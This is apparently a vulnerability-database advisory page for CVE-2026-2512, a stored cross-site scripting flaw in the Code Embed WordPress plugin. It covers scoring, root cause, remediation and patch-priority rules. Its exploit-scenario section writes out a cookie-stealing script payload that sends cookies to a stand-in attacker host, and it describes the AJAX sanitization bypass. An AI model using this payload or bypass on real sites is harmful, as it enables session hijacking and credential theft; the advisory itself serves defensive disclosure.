What is the CVSS score of CVE-2026-2512?

CVE-2026-2512 has a CVSS 3.1 base score of 6.4 (Medium). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N. EPSS exploitation probability: 0.0%.

How to fix or mitigate CVE-2026-2512?

Within 30 days: Identify affected systems running for WordPress is vulnerable to Stored Cross-Site Scripting v and apply vendor patches as part of regular patch cycle. Verify Content-Security-Policy and output encoding.

Code Embed CVE-2026-2512

EUVD-2026-12833 MEDIUM

Cross-site Scripting (XSS) (CWE-79)

2026-03-18 Wordfence

WordPress XSS Code Embed Wordpress Plugin Dartiss

6.4

CVSS 3.1 · NVD

View

Vulnerability Assessment

Weakness	CWE CWE-79 OWASP Top 10:2025 A05:2025 - Injection ASVS 5.0 V1 - Encoding and Sanitization Output encoding, context-aware escaping MITRE ATT&CK 2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. Sign in to read
Impact	The CVSS 3.1 score of 6.4 (Medium) reflects the attack vector being network-accessible, low attack complexity, but requiring low privileges (Contributor role) and no user interaction. The vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N indicates lateral impact across scope with confidentiality and integrity compromise. While the CVSS score is medium, the real-world risk is elevated due to multiple factors: (1) WordPress Contributor accounts are commonly delegated to freelance content creators and agencies, making the attack vector practical, (2) stored XSS persists and affects all users without requiring re-exploitation, (3) the vulnerability is trivially exploitable given the sanitization bypass via AJAX, and (4) the WordPress plugin ecosystem has high deployment breadth. The vulnerability warrants rapid patching despite the medium CVSS, as it affects the integrity and availability of website visitor sessions at scale. No EPSS score or KEV status data was provided in the source intelligence, but the presence of a clear proof-of-concept path (via AJAX meta endpoint) and documented code locations in the plugin repository increases practical exploitation likelihood.
Exploit ScenarioDerived	An attacker with a Contributor account (or who compromises one through phishing) navigates to the WordPress admin dashboard and uses the browser developer console or direct AJAX calls to invoke wp_ajax_add_meta, injecting a payload like `<script>fetch('https://attacker.com/log?cookie='+document.cookie)</script>` into a custom meta field. Because this AJAX call bypasses the save_post hook, the sanitization function never runs. When any visitor (including admin users) views the page containing the embedded content, the ce_filter() function outputs the unsanitized meta value, executing the attacker's JavaScript in the context of the user's session, allowing credential theft or site compromise.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).

Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 18, 2026

The Code Embed plugin for WordPress (versions up to 2.5.1) contains a stored cross-site scripting vulnerability that allows authenticated attackers with Contributor-level access or higher to inject arbitrary JavaScript into pages through custom field meta values. The vulnerability exists because the plugin's sanitization function only runs during post saves, while WordPress AJAX endpoints can add meta fields without triggering sanitization, and the plugin then outputs these unsanitized values directly without HTML escaping. An attacker can inject malicious scripts that execute whenever any user visits an affected page, potentially leading to session hijacking, credential theft, or malware distribution.

RemediationAI

Immediately upgrade the Code Embed plugin to version 2.5.2 or later, which should include fixes to the sec_check_post_fields() sanitization function to cover the wp_ajax_add_meta endpoint and ensure ce_filter() properly escapes output. Check the WordPress plugin repository changelog at plugins.trac.wordpress.org/changeset/3482994 for confirmation of the patch. Until patching is possible, restrict Contributor-level access to only trusted authors, disable custom field UI for standard users by removing the custom_fields post type support, and consider using a Web Application Firewall (WAF) rule to block unusual script patterns in POST requests to wp-admin/admin-ajax.php. Additionally, audit existing post meta values for suspicious JavaScript patterns using WordPress database queries and remove any injected content from the database.

Affected VersionsENISA

Code Embed * ≤2.5.1

Affected Packages

euvd code_embed no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is a classic stored XSS (CWE-79) in the Code Embed plugin (identified by CPE cpe:2.3:a:dartiss:code_embed:*:*:*:*:*:*:*:*) that stems from improper input validation and output encoding in WordPress plugin architecture. The root cause involves two design flaws: first, the sec_check_post_fields() sanitization function only executes on the save_post hook, which does not fire when custom meta fields are added via the wp_ajax_add_meta AJAX endpoint that WordPress provides natively. Second, the ce_filter() function retrieves these meta values and outputs them directly into page content without using WordPress escaping functions like esc_html() or wp_kses_post(). This creates a gap where attacker-controlled data persists in the database and is rendered without protection.

Know when Code Embed gets its next vulnerability

Watch products and get an email when something new is published
Check this CVE against your own stack and servers
Exploit and PoC references, threat intelligence from 22 sources

Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM

AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Changed

Confidentiality

Low

Integrity

Low

Availability

None

Lifecycle Timeline

Patch released

Mar 31, 2026 - 21:13 nvd

Patch available

CVE Published

Mar 18, 2026 - 15:28 nvd

MEDIUM 6.4

DescriptionCVE.org

The Code Embed plugin for WordPress is vulnerable to Stored Cross-Site Scripting via custom field meta values in all versions up to, and including, 2.5.1. This is due to the plugin's sanitization function sec_check_post_fields() only running on the save_post hook, while WordPress allows custom fields to be added via the wp_ajax_add_meta AJAX endpoint without triggering save_post. The ce_filter() function then outputs these unsanitized meta values directly into page content without escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Executive ViewAI

Why It Matters

Organizations using Code Embed should be aware of moderate risk from CVE-2026-2512, a cross-site scripting vulnerability rated CVSS 6.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low

Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score

0.0%

Top 91% exploitable

Data Quality

6 sources

Confidence: High

EUVD

NVD

CVE.org

EPSS

GitHub

VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity MEDIUM

CISA KEV No

Public POC No

EPSS 0.0%

Patch available Yes

Active threat No

Deciding rule

MEDIUM severity (CVSS 4.0-6.9)

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.